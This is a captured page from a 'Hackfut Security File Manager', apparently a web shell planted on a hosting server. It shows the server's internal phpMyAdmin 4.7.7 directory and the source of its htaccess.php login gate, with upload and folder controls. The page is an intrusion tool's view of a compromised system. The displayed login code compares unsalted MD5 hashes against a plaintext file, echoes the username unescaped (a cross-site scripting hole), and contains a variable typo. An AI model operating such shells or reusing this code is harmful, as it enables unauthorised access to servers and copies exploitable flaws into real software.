File Manager

Hackfut Security File Manager

Current Path: /mnt/ceph/services/websiteos/phpmyadmin/phpMyAdmin-4.7.7-all-languages

mnt / ceph / services / websiteos / phpmyadmin / phpMyAdmin-4.7.7-all-languages /

📁 ..
📁 .svn
📄 CONTRIBUTING.md(1.69 KB)
📄 ChangeLog(15.43 KB)
📄 DCO(1.77 KB)
📄 LICENSE(17.67 KB)
📄 README(1.48 KB)
📄 RELEASE-DATE-4.7.7(29 B)
📄 ajax.php(913 B)
📄 browse_foreigners.php(1.49 KB)
📄 changelog.php(4.99 KB)
📄 chk_rel.php(772 B)
📄 composer.json(2.05 KB)
📄 composer.lock(92.65 KB)
📄 config.inc.php(317 B)
📄 config.sample.inc.php(4.41 KB)
📁 config_template
📄 db_central_columns.php(5.21 KB)
📄 db_datadict.php(5.69 KB)
📄 db_designer.php(5.72 KB)
📄 db_events.php(356 B)
📄 db_export.php(4.88 KB)
📄 db_import.php(1.02 KB)
📄 db_operations.php(10.37 KB)
📄 db_qbe.php(4.32 KB)
📄 db_routines.php(416 B)
📄 db_search.php(2.02 KB)
📄 db_sql.php(1.08 KB)
📄 db_sql_autocomplete.php(749 B)
📄 db_sql_format.php(488 B)
📄 db_structure.php(1.05 KB)
📄 db_tracking.php(4.34 KB)
📄 db_triggers.php(360 B)
📁 doc
📄 error_report.php(4.43 KB)
📁 examples
📄 export.php(15.27 KB)
📄 favicon.ico(21.96 KB)
📄 gis_data_editor.php(15.48 KB)
📄 htaccess.php(3.07 KB)
📄 import.php(23.29 KB)
📄 import_status.php(3.32 KB)
📄 index.php(19.29 KB)
📁 js
📁 libraries
📄 license.php(897 B)
📄 lint.php(1.38 KB)
📁 locale
📄 logout.php(287 B)
📄 navigation.php(2.14 KB)
📄 normalization.php(3.94 KB)
📁 phpMyAdmin.bk
📄 phpinfo.php(510 B)
📁 phpmyadmin.bk
📄 phpmyadmin.css.php(746 B)
📄 prefs_forms.php(2.7 KB)
📄 prefs_manage.php(14.89 KB)
📄 print.css(1.18 KB)
📄 robots.txt(26 B)
📄 schema_export.php(1.64 KB)
📄 server_binlog.php(804 B)
📄 server_collations.php(837 B)
📄 server_databases.php(817 B)
📄 server_engines.php(803 B)
📄 server_export.php(1.2 KB)
📄 server_import.php(779 B)
📄 server_plugins.php(808 B)
📄 server_privileges.php(13.56 KB)
📄 server_replication.php(2.18 KB)
📄 server_sql.php(847 B)
📄 server_status.php(995 B)
📄 server_status_advisor.php(954 B)
📄 server_status_monitor.php(2.88 KB)
📄 server_status_processes.php(1.9 KB)
📄 server_status_queries.php(1.36 KB)
📄 server_status_variables.php(1.59 KB)
📄 server_user_groups.php(1.8 KB)
📄 server_variables.php(817 B)
📁 setup
📄 show_config_errors.php(1.02 KB)
📁 sql
📄 sql.php(6.17 KB)
📄 tbl_addfield.php(3.82 KB)
📄 tbl_change.php(6.38 KB)
📄 tbl_chart.php(990 B)
📄 tbl_create.php(3.12 KB)
📄 tbl_export.php(4.38 KB)
📄 tbl_find_replace.php(1.02 KB)
📄 tbl_get_field.php(1.39 KB)
📄 tbl_gis_visualization.php(1.23 KB)
📄 tbl_import.php(873 B)
📄 tbl_indexes.php(1.4 KB)
📄 tbl_operations.php(13.31 KB)
📄 tbl_recent_favorite.php(455 B)
📄 tbl_relation.php(2.31 KB)
📄 tbl_replace.php(16.13 KB)
📄 tbl_row_action.php(4.94 KB)
📄 tbl_select.php(1.15 KB)
📄 tbl_sql.php(1.25 KB)
📄 tbl_structure.php(1.63 KB)
📄 tbl_tracking.php(5.76 KB)
📄 tbl_triggers.php(141 B)
📄 tbl_zoom_select.php(1.07 KB)
📁 templates
📁 themes
📄 themes.php(938 B)
📄 transformation_overview.php(1.88 KB)
📄 transformation_wrapper.php(4.39 KB)
📄 url.php(1.26 KB)
📄 user_password.php(9.03 KB)
📁 vendor
📄 version_check.php(1.07 KB)
📄 view_create.php(9.34 KB)
📄 view_operations.php(3.91 KB)

Editing: htaccess.php

<?php
$error = 0;
$post_arr = $GLOBALS['_REQUEST'];
error_reporting(0);
if (!isset($_SESSION['PMA_UserLoggedIn']) || empty($_SESSION['PMA_UserLoggedIn'])) {
    if (isset($post_arr['username']) || isset($post_arr['userpass'])) {
        if (!empty($post_arr['username']) && !empty($post_arr['userpass'])) {
            // check access
            $str = $_SERVER["DOCUMENT_ROOT"];
            if (function_exists("strripos"))
                $end = strripos($str, '/');
            else
                $end = strrpos(strtolower($srt), '/');
            $str2 = substr($str, 0, $end);
            $path = $str2 . '/private/phpmyadmin/htpasswd.txt';

if (file_exists($path)) {
                $pFile = fopen($path, 'r');
                if ($pFile) {
                    $content = fread($pFile, filesize($path));
                    if ($content) {
                        list($user, $pass) = explode(':', $content);

if (($user === $post_arr['username']) && ($pass === md5($post_arr['userpass']))) {
                            $_SESSION['PMA_UserLoggedIn'] = $user;
                            $error = 0; // auth. OK!
                            // header('Location: index.php');
                        } else {
                            $error = 2; // login or password not right
                        }
                    } else {
                        $error = 2; // login or password not right
                    }
                    fclose($pFile);
                } else {
                    $error = 2; // login or password not right
                }
            } else {
                $error = 2; // login or password not right
            }
        } else {
            $error = 3; // fields must be not empty
        }
    } else {
        $error = 1;
    }
}
// post data not isset
if ($error != 0) {
    ?>
    <html>
        <head>
            <link rel="icon" href="../favicon.ico" type="image/x-icon" />
            <link rel="shortcut icon" href="../favicon.ico" type="image/x-icon" />
            <meta charset="utf-8" />
            <title>Enter phpMyAdmin</title>
        </head>
        <body>
        <center>
            <div style="margin-top:30%;">
                <form method="post">
                    <table style="padding:10px;">
                        <tr><td colspan="2" align="center"><span style="color:#f00;"><?php
    if ($error == 2) {
        echo 'Login or password not right!';
    }
    if ($error == 3) {
        echo 'Fields must be not empty!';
    }
    ?></td></tr>
                        <tr><td>Login:</td><td><input type="text" name="username" value="<?php if (isset($post_arr['username'])) {
        echo $post_arr['username'];
    } ?>" maxlength="18" /></td></tr>
                        <tr><td>Password:</td><td><input type="password" name="userpass" value="" /></td></tr>
                        <tr><td colspan="2" align="right"><input type="submit" name="submit" value="Enter" /></td></tr>
                    </table>
                </form>
            </div>
        </center>
    </body>
    </html>
    <?php
    exit();
}

Hackfut Security File Manager

Editing: htaccess.php

Upload File

Create Folder